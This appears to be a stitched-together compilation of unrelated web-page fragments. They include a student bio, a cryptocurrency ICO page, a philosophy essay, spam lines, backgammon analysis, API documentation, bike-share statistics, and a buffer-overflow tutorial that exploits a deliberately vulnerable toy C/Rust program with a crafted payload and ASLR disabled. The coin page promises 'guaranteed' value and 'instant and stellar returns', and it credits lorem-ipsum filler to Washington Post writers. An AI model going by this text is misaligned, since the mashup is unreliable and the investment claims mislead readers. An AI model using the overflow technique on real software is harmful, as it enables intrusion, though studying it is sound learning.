Shamsudeen is a 200 level student of civil Engineering
at the University of Lagos. Shamsudeen is a budding data scientist with interest in business analytics and front
end web developing.
Avid learner and a believer in the Nigerian dream
Other Interesting facts about Shamsudeen
Loves touring ,likes to do more for people around him


We are everyone's
Digital Currency
Argyl Coin's mission is to provide an alternative form of
purchasing power and wealth for all World Citizens.
What & why
Argyle coin is the culmination and combination of cutting edge blockchain technology, three generations of experience in the Diamond Industry, and the need of a Crypto-currency with a real, tangible value. Created for investment and commerce, it also shines as an alternative for anyone to create and amass wealth, securely and safely. With so many Alternative Coins (Alt-Coins) emerging vying for your attention to invest in, Argyle sets the bar high on the definition, use, and utility of a Crypto-Currency. No speculation to sway your decision on growth, Argyle Coin is exploding in 2018 as the most disruptive Alternative Coin in the world. The first completed Crypto-Currency to achieve this result, Argyle Coin lis projected instant and stellar returns.
Argyle Coin is the First Crypto-Currency Backed By A Hard Asset in colored diamonds. It's worth correlated with Fancy Colored Diamonds, an Asset that has increased exponentially in worth due to real world scarcity and Consumer demand. Prized around the World, Fancy
Colored Diamonds have been a long time favorite of Investors for being Portable Wealth. The results for you owning Argyle Coin are many. A stable Alt-Coin, with a guaranteed value, and exponential growth with Argyle Coin Mining and Direct Marketing Programs.
Benefits to
The Investors
The initial and recurring value for investors is a crypto currency that will be backed by a tangible hard asset that will continue to increase in value. Purchasing Argyle Coin now at ground floor during Pre/ICO ensures your investment is backed up and guaranteed with a minimum. Argyle Foundation will set aside a Parcel Allotment for every set number of Argyle Coins created or purchased. The allotment will change to a different parcel for every set.
Argyle Coin's mission is to provide an alternative form of purchasing power and wealth for all stakeholders. By allowing all to mine equally, without large mining farms to corner the market, individuals have the power to compete in acquiring Argyle Coin.
The coin is designed in such a way so as to increase its value over time. The investment from the coin sale will be reinvested in the Argyle Foundation that will be used to mine colored diamonds thus ensuring continued value for Argyle Coin
Benefits
Roadmap
1.Profit Reinvested Within Foundation
Argyle Coin's mission is to provide an alternative form of purchasing power of purchasing power
1.Profit Reinvested Within Foundation
Argyle Coin's mission is to provide an alternative form of purchasing power of purchasing power
1.Profit Reinvested Within Foundation
Argyle Coin's mission is to provide an alternative form of purchasing power of purchasing power
1.Profit Reinvested Within Foundation
Argyle Coin's mission is to provide an alternative form of purchasing power of purchasing power
1.Profit Reinvested Within Foundation
Argyle Coin's mission is to provide an alternative form of purchasing power of purchasing power
1.Profit Reinvested Within Foundation
Argyle Coin's mission is to provide an alternative form of purchasing power of purchasing power
Team
Profile
Anim idm est laborum sed ut perspiciatis unde omnis iste natus ervolsau ptatem acsit cusa ntium doloremque laudantium totam incididunt sed lab dolore magna aliqua enim ad minim veniam quis.
Profile
Anim idm est laborum sed ut perspiciatis unde omnis iste natus ervolsau ptatem acsit cusa ntium doloremque laudantium totam incididunt sed lab dolore magna aliqua enim ad minim veniam quis.
Profile
Anim idm est laborum sed ut perspiciatis unde omnis iste natus ervolsau ptatem acsit cusa ntium doloremque laudantium totam incididunt sed lab dolore magna aliqua enim ad minim veniam quis.
Profile
Anim idm est laborum sed ut perspiciatis unde omnis iste natus ervolsau ptatem acsit cusa ntium doloremque laudantium totam incididunt sed lab dolore magna aliqua enim ad minim veniam quis.
Manage
Anywhere
What others say
Writer at Washingon Post
Mollit anim idm est laborum sed ut perspiciatis unde omnis iste natuse tem acsit cusa ntium doloremque laudantium totam incididunt labore et dolore magna aliqua. Ut enim ad minim veniam quis nostrud rcitation ullamco laboris nisi ut aliquip ex ea commoid onsequat duis irure dolor in reprehenderit in voluptate velit. ”
Writer at Indian Post
Mollit anim idm est laborum sed ut perspiciatis unde omnis iste natuse tem acsit cusa ntium doloremque laudantium totam incididunt labore et dolore magna aliqua. Ut enim ad minim veniam quis nostrud rcitation ullamco laboris nisi ut aliquip ex ea commoid onsequat duis irure dolor in reprehenderit in voluptate velit. ”
Writer at Washingon Post
Mollit anim idm est laborum sed ut perspiciatis unde omnis iste natuse tem acsit cusa ntium doloremque laudantium totam incididunt labore et dolore magna aliqua. Ut enim ad minim veniam quis nostrud rcitation ullamco laboris nisi ut aliquip ex ea commoid onsequat duis irure dolor in reprehenderit in voluptate velit. ”
Writer at Washingon Post
Mollit anim idm est laborum sed ut perspiciatis unde omnis iste natuse tem acsit cusa ntium doloremque laudantium totam incididunt labore et dolore magna aliqua. Ut enim ad minim veniam quis nostrud rcitation ullamco laboris nisi ut aliquip ex ea commoid onsequat duis irure dolor in reprehenderit in voluptate velit. ”


I met a therapist in town and told her I teach philosophy.
“I do intellectual therapy”, I said.
She laughed, “How’s that?”
“Cultivating our minds is essential to mental health.” I responded.
“Yes, that’s true.”
Encouraged, I continued: “I’ve been in therapy a while, and wrote my master’s thesis on Socrates-as-therapist, so I practice therapeutic techniques in dialogue. For example, I dialogue with students and reflect back to them their own thoughts. I get them to articulate their mental ‘commentary’ and to change it. I challenge their insecurities and encourage them to take risks. In the end, I don’t think psychology and philosophy can be neatly divided.”
“I agree,” she said. “It’s all about integration.”
The conversation ended naturally. But upon reflection, I think this therapist was wrong. It’s not all about “integration.”
To integrate two things assumes the two are already divided. What I was asserting is that the two words refer to one thing.
You don’t “integrate” hydrogen and oxygen to create water. Water is already composed of hydrogen and oxygen. Bread doesn’t require the “integration” of flour and water and yeast. Bread is by definition composed of these things. You don’t integrate them, you bake them in.
Likewise, the pursuit of truth takes many forms but all aim at the truth. We use empirical methods for material realities and formal methods for abstract realities. The pursuit of self-actualization, health, wholeness, holiness, or virtue takes many forms but all depend on the truth. That doesn’t mean science and philosophy need to be “integrated.” That means the pursuit of truth and wholeness already has both “baked in.”
To separate the flour from the water, after the bread has been made is to destroy the bread. The separation of science and philosophy destroys the pursuit of truth.
You can read more about psychological counseling and philosophy here.


Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link
Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link
Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link
Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link
Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link
Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link
Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link
Description Product tell me how to change playlist height size like 600px in html5 player. player good work now check this link


Money Play. How should Red play 21?
pips Red=142 White=120
(CorrectAnswer= 0/0, ErrorScore= 0)
Red can play safe with 8/5, take a small risk with 11/10, 11/9 or play big with 11/9, 8/7. Which shall it be?
8/5 is clearly wrong – it does nothing to improve Red’ s position. The key is the doubling cube. If Red slots the bar and White rolls neither a 5 or a 1 he will have to pass Red’s double. If he does creep up with a 1 Red will still have a powerful, but takeable cube.
11/10, 11/9 is a reasonable play but still a small error.
8/5 is clearly wrong – it does nothing to improve Red’ s position. The key is the doubling cube. If Red slots the bar and White rolls neither a 5 or a 1 he will have to pass Red’s double. If he does creep up with a 1 Red will still have a powerful, but takeable cube.
11/10, 11/9 is a reasonable play but still a small error.
1. Cubeful 2-ply 11/9 8/7 Eq.: +0.475 0.644 0.144 0.004 - 0.356 0.100 0.003 2. Cubeful 2-ply 11/10 11/9 Eq.: +0.412 (-0.063) 0.608 0.135 0.003 - 0.392 0.076 0.002 3. Cubeful 2-ply 8/5 Eq.: +0.338 (-0.137) 0.594 0.147 0.004 - 0.406 0.073 0.002 4. Cubeful 2-ply 11/10 8/6 Eq.: +0.330 (-0.146) 0.592 0.145 0.004 - 0.408 0.078 0.002 5. Cubeful 0-ply 13/10 Eq.: +0.269 (-0.206) 0.579 0.123 0.003 - 0.421 0.080 0.002


Trait that defines abstract methods that are implemented in Suite
that can
be overriden in stackable modification traits.
Trait that contains ScalaTest's basic assertion methods.
Trait that can be mixed into suites that need code executed before and after running each test.
Trait that can be mixed into suites that need methods invoked before and after executing the suite.
Trait that can be mixed into suites that need methods invoked before and after running each test.
Trait whose instances facilitate parallel execution of Suite
s.
Exception that indicates an attempt was made to register a test that had the same name as a test already registered in the same suite.
Trait that contains the failureOf
method, which captures an exception thrown by a passed code block and
returns it wrapped in a Some
, or returns None
if no exception is thrown.
A suite of tests in which each test represents one scenario of a feature.
Filter whose apply
method determines which of the passed tests to run and ignore based on tags to include and exclude passed as
as class parameters.
Trait that facilitates a “behavior-driven” style of development (BDD), in which tests are combined with text that specifies the behavior the tests verify.”“
Trait that facilitates a “behavior-driven” style of development (BDD), in which tests
are nested inside text clauses denoted with the dash operator (-
).”“
A suite of tests in which each test is represented as a function value.
Trait that contains methods named given
, when
, then
, and and
,
which take a string message and implicit Informer
, and forward the message to the informer.
Trait to which custom information about a running suite of tests can be reported.
Trait implemented by exception types that can modify their detail message.
Exception that indicates something was attempted in test code that is not allowed.
Trait that facilitates a style of testing in which each test is run in its own instance of the suite class to isolate each test from the side effects of the other tests in the suite.
Trait that causes that the tests of any suite it is mixed into to be run in parallel if
a Distributor
is passed to runTests
.
Type that is used as the return type of the pending
method in class
Suite
, which always completes abruptly with a
TestPendingException
.
Trait that facilitates the testing of private methods.
A suite of property-based tests.
Trait whose instances collect the results of a running suite of tests and presents those results in some way to the user.
Trait whose instances can rerun tests or other entities (such as suites).
Subtrait of Reporter
that contains a dispose
method for
releasing any finite, non-memory resources, such as file handles, held by the
Reporter
.
Trait that causes that the nested suites of any suite it is mixed into to be run sequentially even if
a Distributor
is passed to runNestedSuites
.
Trait that causes StackDepth
exceptions thrown by a running test (such as TestFailedException
s) to have
the exception's stack trace severed at the stack depth.
Trait whose instances provide a run
method and configuration fields that implement
the ScalaTest shell: its DSL for the Scala interpreter.
Trait that facilitates a “behavior-driven” style of development (BDD), in which tests are combined with text that specifies the behavior the tests verify.”“
A Suite
class that takes zero to many (likely specification-style) Suite
s,
which will be returned from its nestedSuites
method.
Trait that encapsulates the information required of an exception thrown by ScalaTest's assertions and matchers, which includes a stack depth at which the failing line of test code resides.
Exception class that encapsulates information about the stack depth at which the line of code that failed resides, so that information can be presented to the user that makes it quick to find the failing line of code.
Trait whose instances can indicate whether a stop has been requested.
A suite of tests.
A Suite
class that takes zero to many Suite
s,
which will be returned from its nestedSuites
method.
Class whose subclasses can be used to tag tests in types FunSuite
,
Spec
, FlatSpec
, WordSpec
, FeatureSpec
, and their
sister traits in the org.scalatest.fixture
package.
Exception that indicates a test failed.
Exception thrown to indicate a test is pending.
Exception that indicates an action that is only allowed during a suite's test registration phase, such as registering a test to run or ignore, was attempted after registration had already closed.
Class that tracks the progress of a series of Ordinal
s produced by invoking
next
and nextNewOldPair
on the current Ordinal
.
Trait that facilitates a “behavior-driven” style of development (BDD), in which tests are combined with text that specifies the behavior the tests verify.”“
Trait BeforeAndAfterAllFunctions
has been deprecated and will be removed in a future version of ScalaTest. Please
use trait BeforeAndAfterAll
instead.
Trait BeforeAndAfterEachFunctions
has been deprecated and will be removed in a future version of ScalaTest. Please
use trait BeforeAndAfter
instead.
SuperSuite has been deprecated and will be removed in a future
release of ScalaTest. Please change any uses of SuperSuite
to a corresponding use of Suites
or Specs
instead.
Companion object that facilitates the importing of Assertions
members as
an alternative to mixing it in.
Companion object to Distributor that holds a deprecated implicit conversion.
Companion object that facilitates the importing of FailureOf
's method as
an alternative to mixing it in.
Companion object that facilitates the importing of GivenWhenThen
members as
an alternative to mixing it in.
Companion object that facilitates the importing of PrivateMethodTester
members as
an alternative to mixing it in.
Companion object to Reporter that holds a deprecated implicit conversion.
Companion object to Rerunner that holds a deprecated implicit conversion.
Companion object to class Specs
that offers an apply
factory method
for creating a Specs
instance.
Companion object to Stopper that holds a deprecated implicit conversion.
Companion object to class Suites
that offers an apply
factory method
for creating a Suites
instance.
Companion object for Tag
, which offers a factory method.
Returns a copy of this Shell
with colorPassed
configuration parameter set to true
.
Returns a copy of this Shell
with colorPassed
configuration parameter set to true
.
Returns a copy of this Shell
with durationsPassed
configuration parameter set to true
.
Returns a copy of this Shell
with durationsPassed
configuration parameter set to true
.
Returns a copy of this Shell
with fullStacksPassed
configuration parameter set to true
.
Returns a copy of this Shell
with fullStacksPassed
configuration parameter set to true
.
Returns a copy of this Shell
with colorPassed
configuration parameter set to false
.
Returns a copy of this Shell
with colorPassed
configuration parameter set to false
.
Returns a copy of this Shell
with durationsPassed
configuration parameter set to false
.
Returns a copy of this Shell
with durationsPassed
configuration parameter set to false
.
Returns a copy of this Shell
with shortStacksPassed
configuration parameter set to false
.
Returns a copy of this Shell
with shortStacksPassed
configuration parameter set to false
.
Returns a copy of this Shell
with statsPassed
configuration parameter set to false
.
Returns a copy of this Shell
with statsPassed
configuration parameter set to false
.
Run the passed suite, optionally passing in a test name and config map.
Run the passed suite, optionally passing in a test name and config map.
This method will invoke execute
on the passed suite
, passing in
the specified (or default) testName
and configMap
and the configuration values
passed to this Shell
's constructor (colorPassed
, durationsPassed
, shortStacksPassed
,
fullStacksPassed
, and statsPassed
).
Returns a copy of this Shell
with shortStacksPassed
configuration parameter set to true
.
Returns a copy of this Shell
with shortStacksPassed
configuration parameter set to true
.
Returns a copy of this Shell
with statsPassed
configuration parameter set to true
.
Returns a copy of this Shell
with statsPassed
configuration parameter set to true
.
ScalaTest's main traits, classes, and other members, including members supporting ScalaTest's DSL for the Scala interpreter.


press here to place an order
Your order so far: **click order items for more details
Size:
Toppings:
Price: $
Add Another Pizza
Submit Order
Start New Order


| Class | Description |
|---|---|
| CalendarActivity |
Activity for picking a date.
|
| CalendarActivity.Builder |
Helper class to assist passing in the keys to
CalendarActivity . |
| ClaimListActivity |
Is the activity that launches at start of app.
|
| ClaimViewActivity |
The activity that is called when a item is clicked within
ClaimListActivity
that shows the specific details of that claim. |
| CommentActivity |
Comment activity returns a result with a comment in the intent as CommentActivity.COMMENT_TEXT
Used as an approver to add comments when returning and approving
|
| CommentListActivity |
Lists all comments and their authors.
|
| EditClaimActivity |
The activity that is called when a New Claim is created or when an existing claim is going to be edited.
|
| EditDestinationActivity |
An activity that allows a destination to be created with an associated reason.
|
| EditExpenseActivity |
An activity that is called when a new expense is created or when a expense is being edited from
within
ExpenseListActivity . |
| ExpenseListActivity | |
| ExpenseViewActivity |
An activity that shows the details of an
Expense . |
| LoginActivity |
An activity that is called when the app starts with no user currently 'logged in'.
|
| MapActivity |
Map activity returns a result with a destination packaged in the intent as
MapActivity.KEY_DESTINATION
It allows a user to select a place on the map or enter the place name in a text box |
| MapActivity.ErrorDialogFragment | |
| SettingsActivity |
Allows a user to choose a home location using a
MapActivity |
| TagEditActivity |
An activity that is called when a new tag is created or a tag is clicked on
TagManagerActivity . |
| TagManagerActivity |
An activity that shows a list of
Tags that can be clicked to be edited. |


Bike Share Rider Data
With bike shares becoming increasingly more common within the US, there are many benefits and lots of room for optimization for this unique market.
Hopefully, along with my analysis of the data, I'll be able to provide you with more insight on bike shares!
Bike Stations
There are over 65 bike stations set in just California! There are four major hubs for bikes, which includes: Downtown Los Angeles, Port of Los Angeles, the buzzing beach down of Venice, and Pasadena.
Distance Traveled
There has been over almost 50000 bike trips (exlcuding round trips), where bikers have traveled almost 350000 miles! That's practically traveling from California to the East Coast (New Jersey) back and forth 121 times!
Regular Bikers
The number of Bike Stations and Distance Traveled would be nowhere without daily bike sharers. There has been around 130000 trips in general, using passes such as Staff Annuals, Monthly/Flex Passes, and even Walk-Ups!
Here Are Some Interesting Metrics I Found in the Dataset
Popular Start Stations
The most popular starting bike stations that bikers started their trips from are:
- Station 3069 - Broadway & 3rd, with 5138 trips!
- Station 3030 - Main & 1st, with 5059 trips!
- Station 3005 - 7th & Flower, with 4883 trips!
- Station 3064 - Grand & 7th, with 4661 trips!
- Station 3031 - 7th & Spring, with 4629 trips!
Popular Ending Stations
The most popular ending bike stations that bikers ended their trips from are:
- Station 3005 - 7th & Flower, with 6262 trips!
- Station 3031 - 7th & Spring, with 5517 trips!
- Station 3014 - Union Station West Portal, with 5385 trips!
- Station 3042 - 1st & Central, with 5293 trips!
- Station 3069 - Broadway & 3rd, with 5072 trips!
It seems like 7th & Flower and 7th & Spring are
popular starting AND ending bike stations!
Average Biker Distance
-As previously mentioned before, there have been almost over 50000 bike trips where the total distance traveled is almost 350000 miles!
-To be exact, the calculated total distance is about 349188 miles. The calculated number of total trips is 49832 trips.
-Round trips were excluded from this data set due to round trips calculating total distance traveled as 0.
-This leaves us with the average distance a biker has traveled to be a little over 7 miles each!
The total distance traveled is essentially going from New Jersey to Los Angeles 121 Times!
There's a picture on the right, if you needed help visualizing that.
Courtesy of Google Maps!
Regular Bikers
The amount of regular bike riders that include bike sharing as a part of the commute is the number of bikers who purchase a pass. This is due to the fact that their ride is probably not a one time occurence. We can conclude that a rider would utilize their pass regularly during daily commutes.
Monthly Pass Holders
Looking at our dataset, we were able to conclude that out of all the trips, 81304 of them held a monthly pass.
Walk-Up Trips
Looking at our dataset, we were able to conclude that out of all the trips, 41224 of them were walk-up trips.
Flex Pass Holders
Looking at our dataset, we were able to conclude that out of all the trips, 9517 of them held a flex pass.
Staff Annual Trips
Looking at our dataset, we were able to conclude that out of all the trips, 382 of them were members of the Staff Annual passes.
Regular Bikers Calculation
To previously explain what I said before, I visualized the calculation for you.
I thought I'd save you a couple of seconds checking if my calculation was actually right.
The way I calculated the number of Regular Biker trips was just by adding the number of Monthly Passes used on trips, the number of Flex Passes used on trips, and the number of Staff Annual trips.
Using this calculation, we can come to the conclusion that there were 91203 trips that included regular bike riders!
Now Here Are Some Much More Interesting Metrics I Found in the Dataset
How does ridership change within the four seasons?
Spring
-
In the Spring time, the most common type of pass used are Monthly passes, amounting to 8451 used.
-
The next most common type of pass used are the Walk-Up passes, where 4432 of trips were Walk-Ups in the Spring!
- Following Walk-Up passes, Flex passes were used 1023 times out of all the trips in the Spring!
- Lastly, there were 0 Staff Annual passes that were considered during the Spring time.
- The average Spring trip duration was around 30 minutes!
Summer
-
In the Summer time, the most common type of pass used are Monthly passes, amounting to 22548 used.
-
The next most common type of pass used are the Walk-Up passes, where 9772 of trips were Walk-Ups in the Summer!
- Following Walk-Up passes, Flex passes were used 3253 times out of all the trips in the Summer!
- Lastly, there were 0 Staff Annual passes that were considered during the Summer time.
- The average Summer trip duration was around 24 minutes!
Fall
-
In the Fall time, the most common type of pass used are Monthly passes, amounting to 30789 used.
-
The next most common type of pass used are the Walk-Up passes, where 18071 of trips were Walk-Ups in the Fall!
- Following Walk-Up passes, Flex passes were used 3345 times out of all the trips in the Fall!
- Lastly, there were 250 Staff Annual passes that were considered during the Fall time.
- The average Fall trip duration was around 25 minutes!
Winter
-
In the Winter time, the most common type of pass used are Monthly passes, amounting to 19516 used.
-
The next most common type of pass used are the Walk-Up passes, where 8949 of trips were Walk-Ups in the Winter!
- Following Walk-Up passes, Flex passes were used 1896 times out of all the trips in the Winter!
- Lastly, there were 132 Staff Annual passes that were considered during the Winter time.
- The average Winter trip duration was around 28 minutes!
Using this information, we can come to the conclusion that some seasons are more popular in some aspects than the others.
For example, in the Fall, Monthly passes are at the highest. Maybe we can try having a promotion during lower monthly pass frequency seasons like Spring.
We also notice that Fall is just a popular season in general, where even Walk-Ups are at it's highest.
Maybe the company can create group promotions to encourage more riders to come out and utilize bike sharing!
Trip Route Category-Passholder Combinations
Depending on the type of trip (One-Way or Round Trip), there are trends that correlate alongside the type of pass used.
From the data, we notice that One-Way trips are much more popular than Round Trips!
Round Trips
For Round Trips the following passes used counters are:
- Monthly Passes Count - 3772
- Flex Passes Count - 483
- Staff Annual Passes Count - 83
- Walk-Up Passes Count - 0
One-Way Trips
For One-Way Trips the following passes used counters are:
- Monthly Passes Count - 77532
- Flex Passes Count - 9034
- Staff Annual Passes Count - 299
- Walk-Up Passes Count - 0
For Round Trips, we acknowledged that they are less popular than One-Way trips. This might be due to the fact that
there are a ton of regular commuter bikers. This means that those commuter bikers are more likely to
only go One-Way to work and One-Way back instead of going on a Round Trip.


| Wrist Turn Multiplier: |
|
|---|---|
| Push Turn Multiplier: |
|
| Ring Turn Multiplier: |
|
| Destabilize Penalty: |
|
| Soft Regrip Penalty: |
|
| Half Turn Multiplier: |
|
| S/E Slice Multiplier: |
|
| Overwork Penalty: |
|
| Move Block Penalty: |
|
| y/z Rotation: |
|
| Wrist Quarter Turns: |
|
|---|---|
| Flick Quarter Turns: |
|
| Wrist Half Turns: |
|
| Flick Half Turns: |
|
| STM | Input: One alg per line | |
|---|---|---|


class ContractAddressOutputValueType : AddressOutputValueType
Implementation of OutputValueType for contract address types Can decode addresses with contract prefix "1.16." and without it.
<init> |
Implementation of OutputValueType for contract address types Can decode addresses with contract prefix "1.16." and without it. ContractAddressOutputValueType() |
decode |
Decodes and trims source according to required value type fun decode(source: ByteArray): Pair<Any, ByteArray> |
CONTRACT_ADDRESS_PREFIX |
const val CONTRACT_ADDRESS_PREFIX: String |
CONTRACT_ADDRESS_SIZE |
const val CONTRACT_ADDRESS_SIZE: Int |
PREFIX |
const val PREFIX: String |


1. Foreword
For a long time I wanted to play with a buffer overflow exploit. The idea is pretty simple: the “attacker” prepares specially crafted input, so that too many bytes are written into the buffer and, as a result, adjacent memory locations are overwritten, potentially changing the behavior of the program. Initially my idea was to implement this using C, but after I started learning Rust I was also curious how would it differ. In general, it’s just a small exercise in using raw function pointers in Rust.
Of course, performing such attack in the wild is much harder than locally in our own program, where we can change the code, how it is executed, turn off protections and it’s easy to check memory locations used. But still, it’s fun ;)
2. An example in C
To avoid overcomplicating things I looked for a tutorial how to do it in C first. My choice was to use a struct with a buffer and a pointer to a function, which is executed after reading the first command line argument into the buffer. One of the easiest ways to make use of buffer overflow. This is the tutorial, which describes such example: Into the art of Binary Exploitation 0x00000.
And here is the code in C, taken from this tutorial:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void abracadabra() {
printf("Abracadabra! Function called!\n");
exit(0);
}
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*point)();
} hackvist;
hackvist.point = NULL;
strcpy(hackvist.buffer, argv[1]);
printf("abracadabra function address: %p\n",abracadabra);
printf("hackvist.point after strcpy: %p\n", hackvist.point);
if (hackvist.point) {
fflush(stdout);
hackvist.point();
} else {
printf("Try Again\n");
}
exit(0);
}
3. The code in Rust
My goal was to translate this code above into Rust. This is the function we’ll try to call:
And this is the struct with a buffer, which we’ll try to overflow:
We’ll also need some unsafe function, to copy bytes without checking the size of the destination buffer. This can be done with std::ptr::copy()
:
At the end, to make our life easier, we’ll add printing of abracadabra()
function address, as well as, the content of hackvist.point
, so we can find out what should we provide as an input to call abracadabra()
:
println!("abracadabra function address: x{:0x}", abracadabra as usize);
println!(
"hackvist.point after strcpy: x{:0x}",
hackvist.point as usize
);
println!(
"hackvist.point after strcpy (in chars): {:?}",
(hackvist.point as usize as u64)
.to_le_bytes()
.into_iter()
.map(|b| char::from(b))
.collect::<String>()
);
Taken all of this together, this is the source code for this buffer overflow exercise:
use std::env;
use std::ffi::OsString;
use std::os::unix::ffi::OsStrExt;
fn abracadabra() {
println!("Abracadabra! Function called!");
}
#[repr(C)]
struct Hackvist {
buffer: [u8; 16],
point: *const fn(),
}
fn main() {
let mut args: Vec<OsString> = env::args_os().into_iter().collect();
let first_arg: OsString = args.remove(1);
let input_bytes: &[u8] = first_arg.as_bytes();
let mut hackvist = Hackvist {
buffer: [0; 16],
point: 0 as *const fn() -> (),
};
unsafe {
std::ptr::copy(
input_bytes.as_ptr(),
hackvist.buffer.as_mut_ptr(),
input_bytes.len(),
)
}
println!("abracadabra function address: x{:0x}", abracadabra as usize);
println!(
"hackvist.point after strcpy: x{:0x}",
hackvist.point as usize
);
println!(
"hackvist.point after strcpy (in chars): {:?}",
(hackvist.point as usize as u64)
.to_le_bytes()
.into_iter()
.map(|b| char::from(b))
.collect::<String>()
);
if hackvist.point as usize == 0 {
println!("Try again");
} else {
let code: fn() = unsafe { std::mem::transmute(hackvist.point) };
code();
}
}
4. Running it!
Now, let’s try to build it:
$ rustc --edition 2021 buffer-overflow.rs
And run (the values can differ on your computer):
$ ./buffer-overflow "AAAABBBB"
abracadabra function address: x5595670e21d0
hackvist.point after strcpy: x0
hackvist.point after strcpy (in chars): "\u{0}\u{0}\u{0}\u{0}\u{0}\u{0}\u{0}\u{0}"
Try again
This time the input string was too short AAAABBBB
has only 8 bytes, so it wasn’t enough to overflow our 16 byte buffer and write into hackvist.point
function pointer. Let’s try with longer input:
$ ./buffer-overflow "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"
abracadabra function address: x55a4246391d0
hackvist.point after strcpy: x4646464645454545
hackvist.point after strcpy (in chars): "EEEEFFFF"
Segmentation fault (core dumped)
As we can see, we managed to overflow the buffer and write into the function pointer. It wasn’t correctly set, so there was a segmentation fault.
Right now we’ll want to change letters EEEEFFFF
in the input string into abracadabra()
function address. Let’s try:
$ ./buffer-overflow $(python -c 'print "AAAABBBBCCCCDDDD\xd0\x91\x63\x24\xa4\x55"')
abracadabra function address: x55f9ece391d0
hackvist.point after strcpy: x55a4246391d0
hackvist.point after strcpy (in chars): "Ð\u{91}c$¤U\u{0}\u{0}"
Segmentation fault (core dumped)
It didn’t work, even though the hackvist.point
was “correctly” overwritten with x55a4246391d0
, which is exactly the abracadabra()
function address from our previous run: x55a4246391d0
.
The reason for this is that on my machine, address space layout randomization is used to make buffer overflow attacks harder. This can be turned off by running the binary with:
$ setarch x86_64 -R ./buffer-overflow \
> $(python -c 'print "AAAABBBBCCCCDDDD\xd0\x91\x63\x24\xa4\x55"')
abracadabra function address: x55555555e1d0
hackvist.point after strcpy: x55a4246391d0
hackvist.point after strcpy (in chars): "Ð\u{91}c$¤U\u{0}\u{0}"
Segmentation fault (core dumped)
This time the address has changed once again, but from now on, the abracadabra()
function address shouldn’t change, so we can use x55555555e1d0
address in our input:
$ setarch x86_64 -R ./buffer-overflow \
> $(python -c 'print "AAAABBBBCCCCDDDD\xd0\xe1\x55\x55\x55\x55"')
abracadabra function address: x55555555e1d0
hackvist.point after strcpy: x55555555e1d0
hackvist.point after strcpy (in chars): "ÐáUUUU\u{0}\u{0}"
Abracadabra! Function called!
Success! Buffer overflow has overwritten the hackvist.point
pointer with a valid function address and we have changed the program behaviour with our sneaky input :)


I am iframe (child)
1. get parent message
2. children send postmessage to parent
send hello to parent(postmessage)


Each pixel is a half-nibble (2 bits) that corresponds to the CGA palette. Stored row-major. Pixels organized into 16x16 chunks, so they take 64 bytes (with half-nibble packing). The actual image is 15x15 so the top and right 1px sides are garbage and can be ignored. While each image only takes 64 bytes, they are aligned on the 256 byte boundary; everything between 64 and 256 are garbage and can be ignored.
Uses same principles as CGA with a twist. Each image takes 256 bytes but, unlike CGA, all bytes are used. That's because, essentially, the color channels are split across interleaved color channel rows. It basically looks like there are 4 black and white copies of the image. The final EGA image must be reconstructued by overlaying the rows.


TICKETS
| Price | amount | |
|---|---|---|
| COMBI PASS | 100 Euro | |
| DAYPASS SATURDAY | 70 Euro | |
| DAYPASS SUNDAY | 70 Euro | |
| FOOD/DRINK TICKETS (10) | 25 Euro |
A bracelet will be given to you at the entrance of the camping. Beware! If you're not in possesion of a combi pass, you will be charged an extra 25 euros if you want acces to the camping. There is only one tent allowed per ticket.The camping wil open its doors friday the 17th at 17U00 and closes monday the 20th at noon.


What, Why, How This is meant to be an easy to learn and adapt resource to do sem-web stuff in the browser. The motivation from this came from my lack of knowledge about js+sem-web and how to use existing libraries and frameworks in the browser.
This demo uses the Comunica framework with N3 library to parse the RDF and query using SPARQL.
This demo uses the rdfstore.js library to parse RDF and query using SPARQL.


Q. 120. What is the sixth petition? A. "And lead us not into temptation, but deliver us from evil."
Q. 121. What do we pray for in the sixth petition? A. That God would keep us from sin.


|
panwave
|
#include <WaveletPacketTreeTemplateBase.h>
Public Member Functions | |
| WaveletPacketTreeTemplateBase (size_t height, const Wavelet *wavelet) | |
| void | SetRootSignal (const std::vector< double > *signal) override |
| const std::vector< double > * | GetRootSignal () override |
| size_t | GetWaveletLevelCount () const override |
| Public Member Functions inherited from panwave::Tree< WaveletPacketTreeBase::WaveletPacketTreeNodeData, k > | |
| Tree (size_t height) | |
| Public Member Functions inherited from panwave::WaveletPacketTreeBase | |
| WaveletPacketTreeBase (const WaveletPacketTreeBase &)=delete | |
| WaveletPacketTreeBase (const WaveletPacketTreeBase &&)=delete | |
| WaveletPacketTreeBase & | operator= (const WaveletPacketTreeBase &)=delete |
| WaveletPacketTreeBase & | operator= (const WaveletPacketTreeBase &&)=delete |
| virtual void | Decompose ()=0 |
| virtual void | Reconstruct (size_t level)=0 |
Protected Attributes | |
| const Wavelet * | wavelet_ |
Additional Inherited Members | |
| Protected Member Functions inherited from panwave::Tree< WaveletPacketTreeBase::WaveletPacketTreeNodeData, k > | |
| size_t | GetLeafCount () const |
| size_t | GetFirstLeaf () const |
| size_t | GetLastLeaf () const |
| bool | IsLeaf (size_t node) const |
| size_t | GetChild (size_t parent, size_t child_index) const |
| size_t | GetParent (size_t child) const |
| WaveletPacketTreeBase::WaveletPacketTreeNodeData & | GetNodeData (size_t index) |
| bool | IsMarked (size_t node) const |
| void | SetMark (size_t node) |
| void | Unmark () |
| size_t | GetHeight () const |
A templated base class from which specialized wavelet packet tree implementations can derive.
Template argument |k| is the number of children per node.
|
inlineoverridevirtual |
Get a read-only view of the root node signal data.
Implements panwave::WaveletPacketTreeBase.
|
inlineoverridevirtual |
Get the number of wavelet levels this tree is capable of isolating and reconstructing.
Implements panwave::WaveletPacketTreeBase.
|
inlineoverridevirtual |
Set the root node signal.
This signal data is used during decomposition to construct all signal values in the tree.
| signal | Values from signal are copied into the root node. |
Implements panwave::WaveletPacketTreeBase.


Have you forgotten to learn things to become an ideal human being? Don't worry. You are at the right place.
Start your journey by creating a role model with desired characteristics that you wish to have in a real human being.
Karma's user specific tasks slowly nurture you as a human being like your role model
Tasks which need collaboration with others in real life makes karma unique.
Now lets see how comments and likes help you sharpen yourself as a real human being


